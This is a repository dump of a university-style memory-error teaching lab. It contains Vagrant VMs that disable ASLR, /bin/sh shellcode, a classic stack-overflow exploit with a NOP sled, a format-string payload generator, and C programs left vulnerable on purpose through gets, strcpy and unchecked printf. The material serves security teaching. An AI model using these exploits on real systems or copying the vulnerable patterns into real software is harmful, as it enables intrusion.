├── .gitignore ├── README.md ├── linux32 ├── Vagrantfile └── bootstrap.sh ├── linux64 ├── Vagrantfile └── bootstrap.sh └── memory-errors ├── 0.basics └── memory-layout.c ├── 1.shellcode ├── shellcode.asm └── test-shellcode.c ├── 2.buffer-overflow ├── exploit.c ├── func.c ├── password.c └── vuln.c └── 3.format-string ├── fs.py ├── padding.c ├── vuln.c ├── vuln3.c └── vuln4.c /.gitignore: -------------------------------------------------------------------------------- 1 | .vagrant 2 | 3 | # Object files 4 | *.o 5 | *.ko 6 | *.obj 7 | *.elf 8 | 9 | # Precompiled Headers 10 | *.gch 11 | *.pch 12 | 13 | # Libraries 14 | *.lib 15 | *.a 16 | *.la 17 | *.lo 18 | 19 | # Shared objects (inc. Windows DLLs) 20 | *.dll 21 | *.so 22 | *.so.* 23 | *.dylib 24 | 25 | # Executables 26 | *.exe 27 | *.out 28 | *.app 29 | *.i*86 30 | *.x86_64 31 | *.hex 32 | 33 | # Debug files 34 | *.dSYM/ 35 | 36 | # Byte-compiled / optimized / DLL files 37 | __pycache__/ 38 | *.py[cod] 39 | *$py.class 40 | 41 | # C extensions 42 | *.so 43 | 44 | # Distribution / packaging 45 | .Python 46 | env/ 47 | build/ 48 | develop-eggs/ 49 | dist/ 50 | downloads/ 51 | eggs/ 52 | .eggs/ 53 | lib/ 54 | lib64/ 55 | parts/ 56 | sdist/ 57 | var/ 58 | *.egg-info/ 59 | .installed.cfg 60 | *.egg 61 | 62 | # PyInstaller 63 | # Usually these files are written by a python script from a template 64 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 65 | *.manifest 66 | *.spec 67 | 68 | # Installer logs 69 | pip-log.txt 70 | pip-delete-this-directory.txt 71 | 72 | # Unit test / coverage reports 73 | htmlcov/ 74 | .tox/ 75 | .coverage 76 | .coverage.* 77 | .cache 78 | nosetests.xml 79 | coverage.xml 80 | *,cover 81 | .hypothesis/ 82 | 83 | # Translations 84 | *.mo 85 | *.pot 86 | 87 | # Django stuff: 88 | *.log 89 | 90 | # Sphinx documentation 91 | docs/_build/ 92 | 93 | # PyBuilder 94 | target/ 95 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Memory Error Primer 2 | =================== 3 | 4 | Code snippets and virtual machine that I use for teaching purposes. 5 | 6 | Getting Started 7 | --------------- 8 | 9 | *Step 1:* Clone this repository 10 | 11 | $ git clone https://github.com/phretor/memory-errors-lab.git 12 | 13 | *Step 2:* Install [VirtualBox](https://www.virtualbox.org/) according to your host 14 | operating system's recommended procedure. 15 | 16 | *Step 3:* Install Vagrant ([instructions here](http://www.vagrantup.com/downloads.html)). 17 | 18 | *Step 4:* Start the virtual machine: 19 | 20 | $ cd memory-errors-lab/linux64 21 | $ vagrant plugin install vagrant-vbguest 22 | $ vagrant up 23 | 24 | If you want to skip the `vbguest` plugin installation, you'll have to setup 25 | the VirtualBox guest additions yourself. 26 | 27 | *Step 5:* Start hacking: 28 | 29 | $ vagrant up 30 | $ vagrant ssh 31 | 32 | GCC Options 33 | ----------- 34 | 35 | When compiling, the following options are recommended: 36 | 37 | -fno-stack-protector # disables stack-smashing protection 38 | -z execstack # enables executable stack 39 | -mpreferred-stack-boundary=2 # aligns memory allocation to 2^2 bytes 40 | -m32 # compile as 32-bitx86 elf file 41 | 42 | Since the `-mpreferred-stack-boundary=2` option affects how the machine 43 | allocates memory on the stack, it also affects the displacement calculation 44 | when preparing format string exploits. Therefore, disabling this option is 45 | recommended when practicing with format string bugs. 46 | -------------------------------------------------------------------------------- /linux32/Vagrantfile: -------------------------------------------------------------------------------- 1 | # -*- mode: ruby -*- 2 | # vim: set ft=ruby : 3 | 4 | VAGRANTFILE_API_VERSION = "2" 5 | 6 | Vagrant.configure(VAGRANTFILE_API_VERSION) do |config| 7 | config.vm.box = "debian/jessie64" 8 | 9 | config.vm.synced_folder "../memory-errors/", "/home/vagrant/memory-errors", 10 | owner: "vagrant", group: "vagrant" 11 | 12 | config.vm.provision "shell", path: "./bootstrap.sh" 13 | end 14 | -------------------------------------------------------------------------------- /linux32/bootstrap.sh: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env bash 2 | 3 | # install awesomeness 4 | sudo -u vagrant wget -O ~vagrant/.gdbinit 'https://raw.githubusercontent.com/gdbinit/Gdbinit/master/gdbinit' 5 | 6 | # disable ASRL 7 | sudo /bin/bash -l -c 'echo "kernel.randomize_va_space=0" >> /etc/sysctl.conf' 8 | sudo sysctl -p /etc/sysctl.conf 9 | -------------------------------------------------------------------------------- /linux64/Vagrantfile: -------------------------------------------------------------------------------- 1 | # -*- mode: ruby -*- 2 | # vim: set ft=ruby : 3 | 4 | VAGRANTFILE_API_VERSION = "2" 5 | 6 | Vagrant.configure(VAGRANTFILE_API_VERSION) do |config| 7 | config.vm.box = "debian/jessie64" 8 | 9 | config.vm.synced_folder "../memory-errors/", "/home/vagrant/memory-errors", 10 | owner: "vagrant", group: "vagrant" 11 | 12 | config.vm.provision "shell", path: "./bootstrap.sh" 13 | end 14 | -------------------------------------------------------------------------------- /linux64/bootstrap.sh: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env bash 2 | 3 | # upgrade package index 4 | sudo apt-get -y update 5 | sudo apt-get -y upgrade 6 | 7 | sudo apt-get -y install python3-pip 8 | sudo apt-get -y install tmux 9 | sudo apt-get -y install gdb gdb-multiarch 10 | sudo apt-get -y install unzip 11 | sudo apt-get -y install foremost 12 | 13 | sudo apt-get -y install python2.7 python-pip python-dev git 14 | # install essential software 15 | sudo apt-get install -y wget gdb-multiarch build-essential vim execstack git-core gcc-multilib 16 | 17 | 18 | # install pwntools 19 | pip install pwntools 20 | 21 | # Capstone for pwndbg 22 | git clone https://github.com/aquynh/capstone 23 | cd capstone 24 | git checkout -t origin/next 25 | sudo ./make.sh install 26 | cd bindings/python 27 | sudo python3 setup.py install # Ubuntu 14.04+, GDB uses Python3 28 | 29 | # Install radare2 30 | git clone https://github.com/radare/radare2 31 | cd radare2 32 | ./sys/install.sh 33 | 34 | # decent editor settings 35 | sudo -u vagrant wget -O ~vagrant/.spf-tmp 'https://j.mp/spf13-vim3' && sudo -u vagrant /bin/sh ~vagrant/.spf-tmp 36 | 37 | # install awesomeness 38 | sudo -u vagrant wget -O ~vagrant/.gdbinit 'https://raw.githubusercontent.com/gdbinit/Gdbinit/master/gdbinit' 39 | 40 | 41 | # Uninstall capstone 42 | sudo pip2 uninstall capstone -y 43 | 44 | # Install correct capstone 45 | cd /home/vagrant/capstone/bindings/python 46 | sudo python setup.py install 47 | 48 | # disable ASRL 49 | echo "kernel.randomize_va_space=0" >> /etc/sysctl.conf 50 | sysctl -p /etc/sysctl.conf 51 | -------------------------------------------------------------------------------- /memory-errors/0.basics/memory-layout.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int foo(int a, int b) 5 | { 6 | int c = 14; 7 | 8 | c = (a + b) * c; 9 | 10 | return c; 11 | } 12 | 13 | int main(int argc, char * argv[]) 14 | { 15 | int avar; 16 | int bvar; 17 | int cvar; 18 | 19 | avar = atoi(argv[1]); 20 | bvar = atoi(argv[2]); 21 | cvar = foo(avar, bvar); 22 | 23 | printf("foo(%d, %d) = %d\n", avar, bvar, cvar); 24 | 25 | return 0; 26 | } 27 | -------------------------------------------------------------------------------- /memory-errors/1.shellcode/shellcode.asm: -------------------------------------------------------------------------------- 1 | jmp 0x1f # 2 bytes 2 | popl %esi # 1 byte 3 | movl %esi,0x8(%esi) # 3 bytes 4 | xorl %eax,%eax # 2 bytes 5 | movb %eax,0x7(%esi) # 3 bytes 6 | movl %eax,0xc(%esi) # 3 bytes 7 | movb $0xb,%al # 2 bytes 8 | movl %esi,%ebx # 2 bytes 9 | leal 0x8(%esi),%ecx # 3 bytes 10 | leal 0xc(%esi),%edx # 3 bytes 11 | int $0x80 # 2 bytes 12 | xorl %ebx,%ebx # 2 bytes 13 | movl %ebx,%eax # 2 bytes 14 | inc %eax # 1 bytes 15 | int $0x80 # 2 bytes 16 | call -0x24 # 5 bytes 17 | .string "/bin/sh" # 8 bytes 18 | -------------------------------------------------------------------------------- /memory-errors/1.shellcode/test-shellcode.c: -------------------------------------------------------------------------------- 1 | char shellcode[] = 2 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 3 | "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 4 | "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 5 | 6 | void main() { 7 | int *ret; 8 | 9 | ret = (int *)&ret + 2; 10 | (*ret) = (int)shellcode; 11 | 12 | } 13 | -------------------------------------------------------------------------------- /memory-errors/2.buffer-overflow/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define DEFAULT_OFFSET 0 5 | #define DEFAULT_BUFFER_SIZE 512 6 | #define DEFAULT_EGG_SIZE 2048 7 | #define NOP 0x90 8 | 9 | char shellcode[] = 10 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 11 | "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 12 | "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 13 | 14 | unsigned long get_esp(void) { 15 | __asm__("movl %esp,%eax"); 16 | } 17 | 18 | void main(int argc, char *argv[]) { 19 | char *buff, *ptr, *egg; 20 | long *addr_ptr, addr; 21 | int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; 22 | int i, eggsize=DEFAULT_EGG_SIZE; 23 | 24 | if (argc > 1) bsize = atoi(argv[1]); 25 | if (argc > 2) offset = atoi(argv[2]); 26 | if (argc > 3) eggsize = atoi(argv[3]); 27 | 28 | 29 | if (!(buff = malloc(bsize))) { 30 | printf("Can't allocate memory.\n"); 31 | exit(0); 32 | } 33 | if (!(egg = malloc(eggsize))) { 34 | printf("Can't allocate memory.\n"); 35 | exit(0); 36 | } 37 | 38 | addr = get_esp() - offset; 39 | printf("Using address: 0x%x\n", addr); 40 | 41 | ptr = buff; 42 | addr_ptr = (long *) ptr; 43 | for (i = 0; i < bsize; i+=4) 44 | *(addr_ptr++) = addr; 45 | 46 | ptr = egg; 47 | for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) 48 | *(ptr++) = NOP; 49 | 50 | for (i = 0; i < strlen(shellcode); i++) 51 | *(ptr++) = shellcode[i]; 52 | 53 | buff[bsize - 1] = '\0'; 54 | egg[eggsize - 1] = '\0'; 55 | 56 | memcpy(egg,"EGG=",4); 57 | putenv(egg); 58 | memcpy(buff,"RET=",4); 59 | putenv(buff); 60 | system("/bin/bash"); 61 | } 62 | -------------------------------------------------------------------------------- /memory-errors/2.buffer-overflow/func.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void func3() { 4 | printf("this should never be called!\n"); 5 | } 6 | 7 | void func2() { 8 | char name[4]; 9 | 10 | gets(name); 11 | 12 | printf("func2 has been called\n"); 13 | } 14 | 15 | void func1() { 16 | printf("func1 has been called.\n"); 17 | func2(); 18 | } 19 | 20 | int main(int argc, const char *argv[]) 21 | { 22 | func1(); 23 | 24 | return 0; 25 | } 26 | -------------------------------------------------------------------------------- /memory-errors/2.buffer-overflow/password.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int authenticate() { 5 | //dummy function that returns always false 6 | return 0; 7 | } 8 | 9 | void check_password () { 10 | int check; 11 | char pass[16]; 12 | 13 | check = authenticate(); 14 | gets(pass); 15 | 16 | if (check) 17 | printf("Welcome!\n"); 18 | else { 19 | printf("Failed!\n"); 20 | } 21 | } 22 | 23 | int main(int argc, const char *argv[]) 24 | { 25 | check_password(); 26 | 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /memory-errors/2.buffer-overflow/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int foo(int a, const char* b) 5 | { 6 | char buf[12]; 7 | 8 | strcpy(buf, b); 9 | 10 | printf("You have passed level %d: %s\n", a, b); 11 | 12 | return 0; 13 | } 14 | 15 | int main(int argc, const char *argv[]) 16 | { 17 | int a = 1; 18 | 19 | foo(a, argv[1]); 20 | 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /memory-errors/3.format-string/fs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | 5 | """ 6 | The Magic: a simple calculator to prepare a format string exploit. 7 | 8 | Beware, we make many assumptions (after all, this is just for teaching 9 | purposes). 10 | 11 | Brought to you by jinblack and phretor. 12 | 13 | (c)2014. No animals were killed while writing this code. 14 | """ 15 | 16 | def hex_to_bytes(s): 17 | """ 18 | Convert a 32-bit address written in hex to the corresponding bytes. 19 | """ 20 | s = s[2:] #remove initial 0x 21 | b = chr(int(s[0:2], 16)) #1st byte 22 | b += chr(int(s[2:4], 16)) #2nd byte 23 | b += chr(int(s[4:6], 16)) #4rd byte 24 | b += chr(int(s[6:8], 16)) #5th byte 25 | return b 26 | 27 | def bytes_to_hex_string(s): 28 | return ''.join('\\x%02x' % ord(z) for z in s) 29 | 30 | def main(): 31 | if len(sys.argv) < 4: 32 | print '%s 0x 0x' % sys.argv[0] 33 | print 34 | print ' 0x Where to write' 35 | print ' 0x What to write' 36 | print ' Where the 0x is placed on the stack' 37 | print 38 | sys.exit(1) 39 | 40 | DEBUG = False 41 | if len(sys.argv) > 4: # debug 42 | DEBUG = True 43 | 44 | # n-th argument and n-th argument + 1 (decimal) 45 | npos = (int(sys.argv[2]), int(sys.argv[2])+1) 46 | 47 | # value (hex) converted to bytes 48 | val = hex_to_bytes(sys.argv[1]) 49 | 50 | # split in high and low part 51 | val_first = ord(val[0]) * 256 + ord(val[1]) 52 | val_second = ord(val[2]) * 256 + ord(val[3]) 53 | 54 | # target address (hex) 55 | addr = hex_to_bytes(sys.argv[3]) # target 56 | addr2 = addr[0:3] + chr(ord(addr[3]) + 2) # target + 2 bytes 57 | 58 | # make it little endian to make i386 happy 59 | addr = addr[::-1] 60 | addr2 = addr2[::-1] 61 | 62 | # select the order 63 | if val_first > val_second: # first we write the lower 64 | s = (val_second, val_first) 65 | c = addr + addr2 # first + second 66 | else: # otherwise we need to swap both 67 | s = (val_first, val_second) 68 | c = addr2 + addr # second + first 69 | 70 | # corner case (example): value is 0x41414141 ~> 0x4141 | 0x4141 71 | if s[1] - s[0] > 0: 72 | second = '%%%05dx' % (s[1] - s[0]) # pull a second value from the stack 73 | else: 74 | second = '' # no need to pull another value from the stack 75 | 76 | if DEBUG: 77 | d = (c[0:4], c[4:8]) 78 | c = bytes_to_hex_string(d[0]) + bytes_to_hex_string(d[1]) 79 | 80 | """ 81 | Exploit format: 82 | 83 | %x %x %$hn %$hn 84 | """ 85 | sys.stdout.write(c + "%%%05dc%%%05d$hn%s%%%05d$hn" % (s[0]-8, npos[0], second, npos[1])) 86 | 87 | if DEBUG: 88 | sys.stdout.write('\n') 89 | 90 | return 0 91 | 92 | if __name__ == '__main__': 93 | sys.exit(main()) 94 | -------------------------------------------------------------------------------- /memory-errors/3.format-string/padding.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void main () { 4 | printf("|%050c|\n", 0x41424344); 5 | printf("|%030c|\n", 0x41424344); 6 | printf("|%013c|\n", 0x41424344); 7 | } 8 | -------------------------------------------------------------------------------- /memory-errors/3.format-string/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main (int argc, char* argv[]) { 4 | printf(argv[1]); 5 | return 0; 6 | } 7 | -------------------------------------------------------------------------------- /memory-errors/3.format-string/vuln3.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void test(char *arg) { 4 | char buf[256]; 5 | 6 | snprintf(buf, 250, arg); 7 | printf("buffer: %s\n", buf); 8 | } 9 | 10 | int main (int argc, char* argv[]) { 11 | test(argv[1]); 12 | return 0; 13 | } 14 | -------------------------------------------------------------------------------- /memory-errors/3.format-string/vuln4.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void foo(char * var) 4 | { 5 | printf(var); 6 | } 7 | 8 | int main(int argc, const char *argv[]) 9 | { 10 | foo(argv[1]); 11 | return 0; 12 | } 13 | --------------------------------------------------------------------------------